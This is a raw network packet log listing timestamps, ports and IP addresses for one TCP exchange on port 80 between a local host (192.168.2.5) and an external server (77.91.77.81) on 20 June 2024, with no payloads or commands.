Jun 20, 2024 15:38:14.132302999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132308960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132319927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132332087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132333994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132343054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132354975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132359028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132368088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132389069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132400990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132420063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132443905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132457972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132472992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132487059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132497072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132508039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132514954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132551908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132561922 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132563114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132591009 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132616043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132729053 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132740021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132750034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132761955 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132780075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132782936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132793903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132806063 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132806063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132817030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132827997 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132828951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132872105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132937908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132976055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132982016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132987976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133011103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133027077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133111000 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133122921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133132935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133143902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133162022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133184910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133192062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133196115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133207083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133219004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133241892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133269072 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133374929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133383989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133394003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133404970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133413076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133415937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133428097 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133439064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133443117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133450985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133462906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133469105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133475065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133479118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133502007 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133517981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133519888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133529902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133542061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133559942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133562088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133573055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133582115 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133584023 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133601904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133635998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133740902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133749962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133752108 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133789062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133806944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133806944 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133815050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133819103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133824110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133838892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133851051 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133851051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133861065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133862019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133876085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133882999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133882999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133904934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133908987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133908987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.133917093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133927107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133933067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133939028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.133944988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.134037971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.134047985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134058952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134069920 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134094954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.134109020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.134155989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134166956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134177923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134187937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.134206057 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.134244919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.162898064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.162935019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.162945032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.162969112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.162983894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.163047075 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.163057089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.163067102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.163073063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.163101912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.163115025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188333988 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188365936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188376904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188385963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188427925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188427925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188451052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188461065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188472986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188494921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188502073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188505888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188538074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188602924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188615084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188627005 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188649893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188668966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188694000 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188705921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188726902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188730001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188740015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188743114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188750982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188756943 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188776016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188780069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188787937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188791990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188807011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188822985 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188822985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188834906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188843966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188846111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188855886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188860893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.188869953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188879013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.188894033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218678951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218745947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218753099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218791962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218796968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218837023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218851089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218883991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218892097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218921900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.218936920 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218971014 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.218976021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219003916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219008923 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219038010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219042063 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219075918 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219089031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219121933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219127893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219156027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219161034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219188929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219197035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219224930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219229937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219258070 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219269037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219299078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219638109 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219686985 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219703913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219750881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219769955 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219805956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219816923 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219840050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219849110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219881058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219924927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.219969988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.219975948 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220007896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220017910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220051050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220057964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220093966 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220103979 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220141888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220148087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220194101 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220201969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220237017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220247984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220272064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220279932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220314026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220323086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220357895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220370054 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220391035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220400095 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220423937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220433950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220458031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220465899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220495939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220566034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220623016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220626116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220662117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220671892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220700026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220702887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220751047 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220773935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220824003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220838070 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220873117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220884085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220916033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220925093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.220972061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.220977068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221010923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221024036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221045017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221052885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221077919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221090078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221112013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221121073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221144915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221154928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221179008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221188068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221211910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221218109 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221251965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221263885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221297979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221309900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221330881 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221340895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221364021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221374035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221399069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221406937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221426964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221446037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221467972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221493006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221539974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221544981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221577883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221590996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221611023 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221633911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221643925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221656084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221677065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221688032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221709967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221721888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221744061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221750975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221775055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221779108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221824884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221837044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221865892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221868992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221910954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221910954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221949100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221961021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.221983910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.221992970 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222017050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222023964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222049952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222059965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222083092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222094059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222120047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222125053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222152948 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222165108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222188950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222196102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222224951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222237110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222259045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222265005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222292900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222297907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222326994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222340107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222359896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222369909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.222393990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.222403049 CEST	49710	80	192.168.2.5	77.91.77.81
